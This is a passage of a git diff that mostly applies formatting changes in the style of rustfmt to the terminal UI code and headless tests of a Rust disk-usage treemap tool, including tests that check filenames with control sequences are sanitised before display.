trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x)) } else { segs[i].1.clone() }; + let st = if last { + Style::new(t.fg, t.header_bg).with(BOLD) + } else { + Style::new(t.muted, t.header_bg) + }; + let s = if last { + trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x)) + } else { + segs[i].1.clone() + }; let w = cv.text(x, r.y, &s, r.x + 1 + avail - x, st); - self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::ZoomTo(segs[i].0) }); + self.hits.push(Hit { + r: Rect { x, y: r.y, w, h: 1 }, + act: HitAct::ZoomTo(segs[i].0), + }); x += w; } } @@ -279,9 +360,14 @@ impl Model { return "Nothing selected".into(); } let n = tr.node(id); - let mut parts = vec![format!("▸ {}", san(&n.name)), textutil::size(self.size_of(tr, id))]; + let mut parts = vec![ + format!("▸ {}", san(&n.name)), + textutil::size(self.size_of(tr, id)), + ]; if n.parent != NO_NODE { - parts.push(textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent"); + parts.push( + textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent", + ); } if n.is_dir() { parts.push(textutil::count(n.files as i64) + " files"); @@ -308,8 +394,18 @@ impl Model { fn paint_status(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect, class: SizeClass) { let t = self.theme.clone(); cv.fill(r, " ", t.status()); - let help = if class == SizeClass::Small { " ? " } else { " ? help " }; - let hw = cv.text(r.x + r.w - tw(help), r.y, help, r.w, Style::new(t.muted, t.status_bg)); + let help = if class == SizeClass::Small { + " ? " + } else { + " ? help " + }; + let hw = cv.text( + r.x + r.w - tw(help), + r.y, + help, + r.w, + Style::new(t.muted, t.status_bg), + ); let avail = r.w - hw - 1; if !self.toast.is_empty() { cv.text(r.x + 1, r.y, &self.toast, avail - 1, self.toast_style); @@ -320,8 +416,15 @@ impl Model { let files = st.files + st.symlinks + st.others; let mut parts: Vec<(String, Color)> = Vec::new(); if self.scanning { - let ms = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default().as_millis(); - let frame = if t.ascii { "*" } else { SPINNER[(ms / 100) as usize % SPINNER.len()] }; + let ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + let frame = if t.ascii { + "*" + } else { + SPINNER[(ms / 100) as usize % SPINNER.len()] + }; parts.push((format!("{frame} scanning"), t.accent)); } else if st.cancelled { parts.push(("✗ cancelled".into(), t.warn)); @@ -334,8 +437,15 @@ impl Model { parts.push((textutil::size(root.total(self.size_mode)), t.status_fg)); if self.scanning { let el = st.elapsed(); - let p = self.scanner.as_ref().map(|s| s.progress()).unwrap_or_default(); - parts.push((textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s", t.status_fg)); + let p = self + .scanner + .as_ref() + .map(|s| s.progress()) + .unwrap_or_default(); + parts.push(( + textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s", + t.status_fg, + )); if class != SizeClass::Small { parts.push((format!("{} workers", p.workers), t.muted)); parts.push((format!("queue {}", textutil::count(p.pending)), t.muted)); diff --git a/src/tui/run.rs b/src/tui/run.rs index 373c6c4..2f683d6 100644 --- a/src/tui/run.rs +++ b/src/tui/run.rs @@ -11,7 +11,9 @@ use crate::brand; use crate::cancel::Cancel; use crate::textutil; use crossbeam_channel::{after, select, Receiver, Sender}; -use crossterm::event::{self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind}; +use crossterm::event::{ + self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind, +}; use crossterm::{cursor, execute, terminal}; use std::fmt::Write as _; use std::io::{self, Write}; @@ -26,7 +28,8 @@ static TERMINATED: AtomicBool = AtomicBool::new(false); /// Mouse off (1000/1002/1003/1015/1006), bracketed paste off, cursor on, /// main screen. -const RESTORE: &str = "\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l"; +const RESTORE: &str = + "\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l"; fn write_raw(s: &str) { let mut b = s.as_bytes(); @@ -84,7 +87,18 @@ fn detect_profile() -> Profile { if ct == "truecolor" || ct == "24bit" || term.ends_with("-direct") { return Profile::TrueColor; } - if ["kitty", "alacritty", "wezterm", "ghostty", "foot", "contour", "rio"].iter().any(|t| term.contains(t)) { + if [ + "kitty", + "alacritty", + "wezterm", + "ghostty", + "foot", + "contour", + "rio", + ] + .iter() + .any(|t| term.contains(t)) + { return Profile::TrueColor; } if term.contains("256color") || !ct.is_empty() { @@ -100,7 +114,11 @@ pub fn run(opts: Options) -> Result<(), crate::Error> { let forced = forced_profile(&opts.color); if forced.is_none() && !opts.color.is_empty() && opts.color != "auto" { cancel.cancel(); - return Err(format!("invalid --color {:?} (auto, truecolor, 256, 16, none)", opts.color).into()); + return Err(format!( + "invalid --color {:?} (auto, truecolor, 256, 16, none)", + opts.color + ) + .into()); } let mouse = opts.mouse; let mut m = Model::new(opts, s, t, cancel.clone()); @@ -111,7 +129,11 @@ pub fn run(opts: Options) -> Result<(), crate::Error> { std::thread::spawn(|| { std::thread::sleep(Duration::from_millis(500)); // Mirrors the scanner's guard: a worker panic aborts after the hook. - if std::panic::catch_unwind(|| panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")).is_err() { + if std::panic::catch_unwind(|| { + panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration") + }) + .is_err() + { std::process::abort(); } }); @@ -127,7 +149,13 @@ fn enter_terminal(mouse: bool) -> io::Result<()> { terminal::enable_raw_mode()?; ACTIVE.store(true, Ordering::SeqCst); let mut out = io::stdout(); - execute!(out, terminal::EnterAlternateScreen, cursor::Hide, event::EnableBracketedPaste, terminal::SetTitle(brand::NAME))?; + execute!( + out, + terminal::EnterAlternateScreen, + cursor::Hide, + event::EnableBracketedPaste, + terminal::SetTitle(brand::NAME) + )?; if mouse { execute!(out, event::EnableMouseCapture)?; } @@ -140,7 +168,11 @@ fn convert_key(ev: KeyEvent) -> Option { return None; } let m = ev.modifiers; - let (ctrl, alt, shift) = (m.contains(KeyModifiers::CONTROL), m.contains(KeyModifiers::ALT), m.contains(KeyModifiers::SHIFT)); + let (ctrl, alt, shift) = ( + m.contains(KeyModifiers::CONTROL), + m.contains(KeyModifiers::ALT), + m.contains(KeyModifiers::SHIFT), + ); let mut prefix = String::new(); if ctrl { prefix += "ctrl+"; @@ -148,14 +180,37 @@ fn convert_key(ev: KeyEvent) -> Option { if alt { prefix += "alt+"; } - let named = |n: &str| Some(Key { name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }), text: String::new(), ctrl_alt: ctrl || alt }); + let named = |n: &str| { + Some(Key { + name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }), + text: String::new(), + ctrl_alt: ctrl || alt, + }) + }; match ev.code { KeyCode::Char(c) => { - let base = if c == ' ' { "space".to_string() } else if ctrl || alt { c.to_lowercase().collect() } else { c.to_string() }; - let text = if ctrl || alt { String::new() } else { c.to_string() }; - Some(Key { name: prefix + &base, text, ctrl_alt: ctrl || alt }) + let base = if c == ' ' { + "space".to_string() + } else if ctrl || alt { + c.to_lowercase().collect() + } else { + c.to_string() + }; + let text = if ctrl || alt { + String::new() + } else { + c.to_string() + }; + Some(Key { + name: prefix + &base, + text, + ctrl_alt: ctrl || alt, + }) } - KeyCode::BackTab => Some(Key { name: format!("{prefix}shift+tab"), ..Default::default() }), + KeyCode::BackTab => Some(Key { + name: format!("{prefix}shift+tab"), + ..Default::default() + }), KeyCode::Enter => named("enter"), KeyCode::Esc => named("esc"), KeyCode::Tab => named("tab"), @@ -256,7 +311,9 @@ fn base64(b: &[u8]) -> String { const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; let mut s = String::with_capacity(b.len().div_ceil(3) * 4); for c in b.chunks(3) { - let n = (c[0] as u32) << 16 | (*c.get(1).unwrap_or(&0) as u32) << 8 | *c.get(2).unwrap_or(&0) as u32; + let n = (c[0] as u32) << 16 + | (*c.get(1).unwrap_or(&0) as u32) << 8 + | *c.get(2).unwrap_or(&0) as u32; for i in 0..4 { if i <= c.len() { s.push(A[(n >> (18 - 6 * i) & 63) as usize] as char); @@ -332,7 +389,14 @@ fn line_diff(old: &str, new: &str) -> Vec<(usize, std::ops::Range)> { } impl Screen { - fn draw(&mut self, out: &mut impl Write, frame: &str, w: i32, h: i32, extra: &str) -> io::Result<()> { + fn draw( + &mut self, + out: &mut impl Write, + frame: &str, + w: i32, + h: i32, + extra: &str, + ) -> io::Result<()> { self.buf.clear(); self.buf.push_str("\x1b[?2026h"); // synchronized output, where supported if (w, h) != self.size { @@ -386,7 +450,11 @@ fn event_loop(m: &mut Model) -> io::Result<()> { std::thread::spawn(move || input_thread(tx, stop)); } let (w, h) = terminal::size()?; - let mut rt = Runtime { tx, timers: Vec::new(), out: String::new() }; + let mut rt = Runtime { + tx, + timers: Vec::new(), + out: String::new(), + }; rt.exec(m.update(Msg::Size(w as i32, h as i32))); let init = m.init(); rt.exec(init); @@ -414,7 +482,9 @@ fn event_loop(m: &mut Model) -> io::Result<()> { // Fire due timers, then drain whatever else is queued before the next // frame, so bursts (resize storms) cost one render. let now = Instant::now(); - let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers).into_iter().partition(|t| t.0 <= now); + let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers) + .into_iter() + .partition(|t| t.0 <= now); rt.timers = later; for (_, msg) in due { let c = m.update(msg); @@ -438,7 +508,14 @@ mod tests { #[test] fn base64_matches_rfc4648() { - for (i, o) in [("", ""), ("f", "Zg=="), ("fo", "Zm8="), ("foo", "Zm9v"), ("foob", "Zm9vYg=="), ("foobar", "Zm9vYmFy")] { + for (i, o) in [ + ("", ""), + ("f", "Zg=="), + ("fo", "Zm8="), + ("foo", "Zm9v"), + ("foob", "Zm9vYg=="), + ("foobar", "Zm9vYmFy"), + ] { assert_eq!(base64(i.as_bytes()), o); } } @@ -450,7 +527,10 @@ mod tests { s.draw(&mut out, "a\nb\nc", 1, 3, "").unwrap(); out.clear(); s.draw(&mut out, "a\nX\nc", 1, 3, "").unwrap(); - assert_eq!(String::from_utf8(out).unwrap(), "\x1b[?2026h\x1b[2;1HX\x1b[?2026l"); + assert_eq!( + String::from_utf8(out).unwrap(), + "\x1b[?2026h\x1b[2;1HX\x1b[?2026l" + ); // Within a line only the differing style runs are rewritten. let a = "\x1b[0;1mab\x1b[0;7m日x\x1b[0mcd\x1b[0m"; let b = "\x1b[0;1mab\x1b[0;7m日y\x1b[0mcd\x1b[0m"; diff --git a/src/tui/search.rs b/src/tui/search.rs index 4c18cdb..4d23378 100644 --- a/src/tui/search.rs +++ b/src/tui/search.rs @@ -2,7 +2,7 @@ use super::canvas::{Canvas, Style, BOLD}; use super::model::{Cmd, Key, Model, Msg}; -use super::{tw, trunc}; +use super::{trunc, tw}; use crate::cancel::Cancel; use crate::filter::{self, FilterResult, Query}; use crate::inventory::Tree; @@ -74,7 +74,11 @@ impl LineEditor { if k.text.is_empty() || k.ctrl_alt { return (false, false); } - let rs: Vec = k.text.chars().filter(|&r| r >= ' ' && r != '\x7f').collect(); + let rs: Vec = k + .text + .chars() + .filter(|&r| r >= ' ' && r != '\x7f') + .collect(); if rs.is_empty() || self.buf.len() + rs.len() > 1024 { return (false, true); } @@ -174,7 +178,9 @@ impl Model { /// Evaluates the current query in the background. The tree is /// read-locked by the worker; stale results are discarded by generation. pub fn apply_filter(&mut self) -> Cmd { - let Some(q) = self.search.query.clone() else { return Cmd::None }; + let Some(q) = self.search.query.clone() else { + return Cmd::None; + }; if let Some(c) = self.search.cancel.take() { c.cancel(); } @@ -235,7 +241,11 @@ impl Model { } else if s.busy { "filtering…".into() } else if let Some(res) = &s.result { - format!("{} matches · {}", textutil::count(res.count), textutil::size(res.total)) + format!( + "{} matches · {}", + textutil::count(res.count), + textutil::size(res.total) + ) } else if s.ed.buf.is_empty() { "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear".into() } else { @@ -245,14 +255,28 @@ impl Model { let avail = r.w - (x - r.x) - sw - 3; // Scroll the text so the cursor stays visible. let text = &s.ed.buf; - let start = if s.ed.cur as i32 > avail - 1 { (s.ed.cur as i32 - avail + 1) as usize } else { 0 }; + let start = if s.ed.cur as i32 > avail - 1 { + (s.ed.cur as i32 - avail + 1) as usize + } else { + 0 + }; let end = text.len().min(start + avail.max(0) as usize).max(start); let vis: String = text[start..end].iter().collect(); cv.text(x, r.y, &textutil::sanitize(&vis), avail, st); let before: String = text[start..s.ed.cur].iter().collect(); let cx = x + tw(&textutil::sanitize(&before)); - let under = if s.ed.cur < text.len() { textutil::sanitize(&text[s.ed.cur].to_string()) } else { " ".into() }; - cv.text(cx, r.y, &under, 2, Style::new(t.panel_bg, t.fg).with(self.mono_rev())); + let under = if s.ed.cur < text.len() { + textutil::sanitize(&text[s.ed.cur].to_string()) + } else { + " ".into() + }; + cv.text( + cx, + r.y, + &under, + 2, + Style::new(t.panel_bg, t.fg).with(self.mono_rev()), + ); cv.text_right(r.x, r.y, r.w - 1, &trunc(&status, sw), status_st); } @@ -260,9 +284,21 @@ impl Model { let t = &self.theme; let s = &self.search; let mut x = r.x + 1; - x += cv.text(x, r.y, " FILTER ", 8, Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev())); + x += cv.text( + x, + r.y, + " FILTER ", + 8, + Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev()), + ); let q = s.query.as_ref().map(|q| q.to_string()).unwrap_or_default(); - x += cv.text(x + 1, r.y, &textutil::sanitize(&q), r.w / 2, Style::new(t.fg, t.panel_bg).with(BOLD)) + 1; + x += cv.text( + x + 1, + r.y, + &textutil::sanitize(&q), + r.w / 2, + Style::new(t.fg, t.panel_bg).with(BOLD), + ) + 1; let mut info = "filtering…".to_string(); if let (Some(res), false) = (&s.result, s.busy) { info = format!( @@ -272,6 +308,12 @@ impl Model { textutil::size(tr.node(0).total(self.size_mode)) ); } - cv.text(x + 2, r.y, &info, r.x + r.w - x - 3, Style::new(t.muted, t.panel_bg)); + cv.text( + x + 2, + r.y, + &info, + r.x + r.w - x - 3, + Style::new(t.muted, t.panel_bg), + ); } } diff --git a/src/tui/side.rs b/src/tui/side.rs index 634e01b..3027dfc 100644 --- a/src/tui/side.rs +++ b/src/tui/side.rs @@ -15,7 +15,16 @@ impl Model { let t = self.theme.clone(); let ps = t.panel(); cv.fill(r, " ", ps); - cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, "│", Style::new(t.faint, t.panel_bg)); + cv.fill( + Rect { + x: r.x + r.w - 1, + y: r.y, + w: 1, + h: r.h, + }, + "│", + Style::new(t.faint, t.panel_bg), + ); let w = r.w - 3; let x = r.x + 1; let mut y = r.y + 1; @@ -45,21 +54,43 @@ impl Model { } } y += 1; - kvl(cv, &mut y, "Size", &textutil::size(self.size_of(tr, self.zoom)), val); + kvl( + cv, + &mut y, + "Size", + &textutil::size(self.size_of(tr, self.zoom)), + val, + ); kvl(cv, &mut y, "Logical", &textutil::size(z.tot_size), plain); kvl(cv, &mut y, "Allocated", &textutil::size(z.tot_alloc), plain); kvl(cv, &mut y, "Files", &textutil::count(z.files as i64), plain); - kvl(cv, &mut y, "Directories", &textutil::count(z.dirs as i64), plain); + kvl( + cv, + &mut y, + "Directories", + &textutil::count(z.dirs as i64), + plain, + ); if z.errors > 0 { - kvl(cv, &mut y, "Errors", &textutil::count(z.errors as i64), Style::new(t.err, t.panel_bg).with(BOLD)); + kvl( + cv, + &mut y, + "Errors", + &textutil::count(z.errors as i64), + Style::new(t.err, t.panel_bg).with(BOLD), + ); } y += 1; // Category breakdown with proportional bars. if let Some(cs) = tr.cat_sizes(self.zoom) { head(cv, &mut y, "CATEGORIES"); - let mut cats: Vec<(Category, i64)> = - cs.iter().enumerate().filter(|(_, &v)| v > 0).map(|(i, &v)| (Category::from_u8(i as u8), v)).collect(); + let mut cats: Vec<(Category, i64)> = cs + .iter() + .enumerate() + .filter(|(_, &v)| v > 0) + .map(|(i, &v)| (Category::from_u8(i as u8), v)) + .collect(); let total: i64 = cats.iter().map(|c| c.1).sum(); cats.sort_by(|a, b| b.1.cmp(&a.1)); for &(c, v) in &cats { @@ -70,7 +101,13 @@ impl Model { let sw = if t.mono || t.ascii { " " } else { "██ " }; cv.text(x, y, sw, 3, Style::new(col, t.panel_bg)); cv.text(x + 3, y, c.name(), w - 3, plain); - cv.text_right(x, y, w, &textutil::percent(v, total), Style::new(t.muted, t.panel_bg)); + cv.text_right( + x, + y, + w, + &textutil::percent(v, total), + Style::new(t.muted, t.panel_bg), + ); y += 1; self.paint_bar(cv, x + 3, y, w - 3, v as f64 / cats[0].1 as f64, col, false); y += 1; @@ -84,7 +121,10 @@ impl Model { let mut desc = Vec::new(); if is_group(self.sel) { if let Some(g) = self.group_info(self.sel) { - desc.push(format!("{} smaller items", textutil::count(g.ids().len() as i64))); + desc.push(format!( + "{} smaller items", + textutil::count(g.ids().len() as i64) + )); desc.push(textutil::size(g.size)); } } else { @@ -92,7 +132,11 @@ impl Model { if id != NO_NODE { let n = tr.node(id); desc.extend(wrap(&san(&n.name), w)); - desc.push(textutil::size(self.size_of(tr, id)) + " · " + &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom))); + desc.push( + textutil::size(self.size_of(tr, id)) + + " · " + + &textutil::percent(self.size_of(tr, id), self.size_of(tr, self.zoom)), + ); if n.is_dir() { desc.push(textutil::count(n.files as i64) + " files"); } else { diff --git a/src/tui/table.rs b/src/tui/table.rs index f3a5525..5fdb4f6 100644 --- a/src/tui/table.rs +++ b/src/tui/table.rs @@ -16,7 +16,12 @@ pub(crate) struct Column { } pub(crate) const fn col(title: &'static str, width: i32, right: bool, clip_left: bool) -> Column { - Column { title, width, right, clip_left } + Column { + title, + width, + right, + clip_left, + } } /// One rendered row: cell strings plus optional per-cell styles. @@ -69,7 +74,15 @@ impl Table { self.cursor.max(0) as usize } - pub fn paint(&mut self, m: &mut Model, cv: &mut Canvas, r: Rect, cols: &[Column], rows: &[TableRow], title: &str) { + pub fn paint( + &mut self, + m: &mut Model, + cv: &mut Canvas, + r: Rect, + cols: &[Column], + rows: &[TableRow], + title: &str, + ) { let t = m.theme.clone(); cv.fill(r, " ", t.base()); if r.h < 3 { @@ -77,7 +90,13 @@ impl Table { } let mut y = r.y; if !title.is_empty() { - cv.text(r.x + 1, y, title, r.w - 2, Style::new(t.accent, t.bg).with(BOLD)); + cv.text( + r.x + 1, + y, + title, + r.w - 2, + Style::new(t.accent, t.bg).with(BOLD), + ); y += 1; } // Resolve flexible width. @@ -88,7 +107,11 @@ impl Table { let hdr = Style::new(t.muted, t.bg).with(BOLD); for c in cols { let w = width(c); - let s = if c.right { pad_left(c.title, w) } else { c.title.to_string() }; + let s = if c.right { + pad_left(c.title, w) + } else { + c.title.to_string() + }; cv.text(x, y, &s, w, hdr); x += w + 1; } @@ -114,7 +137,16 @@ impl Table { let mut base = t.base(); if sel { base = Style::new(t.text_on(t.sel), t.sel).with(BOLD | m.mono_rev()); - cv.fill(Rect { x: r.x, y, w: r.w, h: 1 }, " ", base); + cv.fill( + Rect { + x: r.x, + y, + w: r.w, + h: 1, + }, + " ", + base, + ); } let mut x = r.x + 1; for (ci, c) in cols.iter().enumerate() { @@ -135,7 +167,15 @@ impl Table { } x += w + 1; } - m.hits.push(Hit { r: Rect { x: r.x, y, w: r.w, h: 1 }, act: HitAct::Row(i as usize) }); + m.hits.push(Hit { + r: Rect { + x: r.x, + y, + w: r.w, + h: 1, + }, + act: HitAct::Row(i as usize), + }); y += 1; i += 1; } @@ -143,7 +183,11 @@ impl Table { cv.text_centered(r.x, r.y + r.h / 2, r.w, "Nothing to show", t.muted()); } if n > self.height && self.height > 0 { - let pos = format!("{}/{}", textutil::count(self.cursor as i64 + 1), textutil::count(n as i64)); + let pos = format!( + "{}/{}", + textutil::count(self.cursor as i64 + 1), + textutil::count(n as i64) + ); cv.text_right(r.x, r.y, r.w - 1, &pos, t.muted()); } } @@ -152,10 +196,23 @@ impl Table { impl Model { /// Draws a proportional bar with eighth-block precision. #[allow(clippy::too_many_arguments)] - pub fn paint_bar(&self, cv: &mut Canvas, x: i32, y: i32, w: i32, frac: f64, col: Color, sel: bool) { + pub fn paint_bar( + &self, + cv: &mut Canvas, + x: i32, + y: i32, + w: i32, + frac: f64, + col: Color, + sel: bool, + ) { let t = &self.theme; let col = if col.is_default() { t.accent } else { col }; - let bg = if sel { t.sel.mix(rgb(0, 0, 0), 0.25) } else { t.bg.mix(t.fg, 0.08) }; + let bg = if sel { + t.sel.mix(rgb(0, 0, 0), 0.25) + } else { + t.bg.mix(t.fg, 0.08) + }; let mut eighths = (frac * (w * 8) as f64 + 0.5) as i64; const PARTS: [&str; 8] = ["", "▏", "▎", "▍", "▌", "▋", "▊", "▉"]; for i in 0..w { @@ -170,7 +227,11 @@ impl Model { ch = if eighths >= 4 { "#" } else { " " }; } eighths -= 8; - let st = if t.mono { Style::default() } else { Style::new(col, bg) }; + let st = if t.mono { + Style::default() + } else { + Style::new(col, bg) + }; cv.text(x + i, y, ch, 1, st); } } diff --git a/src/tui/tests.rs b/src/tui/tests.rs index 10793b4..e6ecb1a 100644 --- a/src/tui/tests.rs +++ b/src/tui/tests.rs @@ -1,11 +1,11 @@ //! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go). use super::bench::opts_for; -use super::color256::{quant16, quant256}; use super::canvas::rgb; +use super::color256::{quant16, quant256}; use super::mapview::TOP_MIN_AREA; -use super::model::*; use super::modals::new_info_modal; +use super::model::*; use crate::cancel::Cancel; use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED}; use crate::scan; @@ -39,7 +39,12 @@ fn test_tree() -> Tree { }; let backups = add_dir(&mut t, 0, b"backups"); for i in 0..40i64 { - file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30); + file( + &mut t, + backups, + format!("dump-{i:02}.tar.gz").as_bytes(), + (1 + i) << 30, + ); } let vms = add_dir(&mut t, 0, b"vms"); file(&mut t, vms, b"ubuntu.qcow2", 86 << 30); @@ -47,7 +52,12 @@ fn test_tree() -> Tree { let media = add_dir(&mut t, 0, b"media"); let photos = add_dir(&mut t, media, "photos 日本語".as_bytes()); for i in 0..300i64 { - file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20); + file( + &mut t, + photos, + format!("img{i:03}.jpg").as_bytes(), + (i + 1) << 20, + ); } file(&mut t, media, HOSTILE, 9 << 30); file(&mut t, media, "👨‍👩‍👧 family.mp4".as_bytes(), 12 << 30); @@ -114,7 +124,12 @@ fn check_frame(m: &mut Model, w: i32, h: i32) -> String { "terminal control sequence from a filename leaked into the frame" ); let lines: Vec<&str> = content.split('\n').collect(); - assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len()); + assert_eq!( + lines.len() as i32, + h, + "{w}x{h}: frame has {} lines", + lines.len() + ); for (i, l) in lines.iter().enumerate() { let got = textutil::width(&strip(l)) as i32; assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l)); @@ -135,7 +150,10 @@ fn find(m: &Model, name: &[u8]) -> NodeId { } fn find_block(bs: &[Block], id: i64) -> Block { - bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() }) + bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { + id: 0, + rect: Default::default(), + }) } #[test] @@ -151,19 +169,39 @@ fn resize_transitions_preserve_state() { check_frame(&mut m, 120, 40); send(&mut m, vec![key("right")]); let sel = m.sel; - for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] { + for (w, h) in [ + (80, 24), + (120, 40), + (300, 80), + (70, 20), + (180, 50), + (40, 10), + (39, 9), + (200, 60), + ] { send(&mut m, vec![size(w, h)]); check_frame(&mut m, w, h); assert_eq!(m.zoom, media, "{w}x{h}: zoom lost"); - assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel); + assert!( + m.sel == sel || is_group(m.sel), + "{w}x{h}: selection changed from {sel} to {}", + m.sel + ); } // The layout must be recomputed for the new geometry, not stretched. let l = m.tm.clone().unwrap(); - assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect); + assert!( + l.rect.w <= 200 && l.rect.h <= 60, + "layout not recomputed for final size: {:?}", + l.rect + ); let r = l.rect; for b in &l.blocks { let br = b.rect; - assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}"); + assert!( + br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, + "block {b:?} outside treemap {r:?}" + ); } } @@ -172,7 +210,9 @@ fn resize_storm() { let mut m = new_test_model(); let mut rnd = 1u64; let mut intn = |n: u64| { - rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407); + rnd = rnd + .wrapping_mul(6364136223846793005) + .wrapping_add(1442695040888963407); (rnd >> 33) % n }; send(&mut m, vec![size(120, 40)]); @@ -199,9 +239,16 @@ fn modal_survives_resize() { for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] { send(&mut m, vec![size(w, h)]); let out = check_frame(&mut m, w, h); - assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}"); + assert!( + out.contains("ITEM INFORMATION"), + "{w}x{h}: modal title missing:\n{out}" + ); let f = &m.modals[0]; - assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h); + assert!( + f.view_h >= 1 && f.view_h <= h, + "{w}x{h}: modal viewport {}", + f.view_h + ); } // Scrolling in a tiny terminal must stay in range. send(&mut m, vec![size(45, 12)]); @@ -210,7 +257,12 @@ fn modal_survives_resize() { } check_frame(&mut m, 45, 12); let f = &m.modals[0]; - assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n); + assert!( + f.scroll >= 0 && f.scroll <= f.content_n, + "scroll out of range: {} of {}", + f.scroll, + f.content_n + ); send(&mut m, vec![key("esc")]); assert!(m.modals.is_empty(), "Esc should close the modal"); } @@ -228,14 +280,20 @@ fn spatial_navigation_uses_geometry() { if m.sel == before { continue; // edge of the map } - let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect); + let (a, b) = ( + find_block(&blocks, before).rect, + find_block(&blocks, m.sel).rect, + ); let ok = match dir { "right" => b.x >= a.x + a.w, "left" => b.x + b.w <= a.x, "down" => b.y >= a.y + a.h, _ => b.y + b.h <= a.y, }; - assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}"); + assert!( + ok, + "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}" + ); } } @@ -251,13 +309,21 @@ fn zoom_breadcrumbs_and_home() { send(&mut m, vec![key("space")]); assert_eq!(m.zoom, photos, "did not zoom into photos"); let out = check_frame(&mut m, 100, 30); - assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}"); + assert!( + out.contains("media › photos 日本語"), + "breadcrumbs missing:\n{out}" + ); // Narrow terminal: breadcrumbs truncate from the left, keeping the tail. send(&mut m, vec![size(42, 12)]); let out = check_frame(&mut m, 42, 12); assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}"); send(&mut m, vec![key("backspace")]); - assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel); + assert!( + m.zoom == media && m.sel == photos as i64, + "backspace: zoom {} sel {}", + m.zoom, + m.sel + ); send(&mut m, vec![key("home")]); assert_eq!(m.zoom, 0, "home did not return to root"); } @@ -267,20 +333,40 @@ fn filter_transforms_map() { let mut m = new_test_model(); send(&mut m, vec![size(120, 40), key("/")]); for c in "ext = gz".chars() { - send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]); + send( + &mut m, + vec![Msg::Key(Key { + name: c.to_string(), + text: c.to_string(), + ctrl_alt: false, + })], + ); } - assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err); + assert!( + m.search.err.is_empty() && m.search.query.is_some(), + "query not parsed: {:?}", + m.search.err + ); let msgs = m.apply_filter().run_sync(); send(&mut m, msgs); send(&mut m, vec![key("enter")]); assert!(m.search.result.is_some(), "no filter result"); let out = check_frame(&mut m, 120, 40); - assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}"); + assert!( + !out.contains("vms/") && out.contains("backups/"), + "filter not applied to the map:\n{out}" + ); assert!(out.contains("FILTER"), "filter indicator missing"); send(&mut m, vec![key("esc")]); - assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter"); + assert!( + m.search.query.is_none() && m.search.result.is_none(), + "Esc should clear the filter" + ); let out = check_frame(&mut m, 120, 40); - assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}"); + assert!( + out.contains("vms/"), + "map not restored after clearing filter:\n{out}" + ); } #[test] @@ -292,7 +378,10 @@ fn hostile_name_sanitised_in_modal() { let md = new_info_modal(&m, 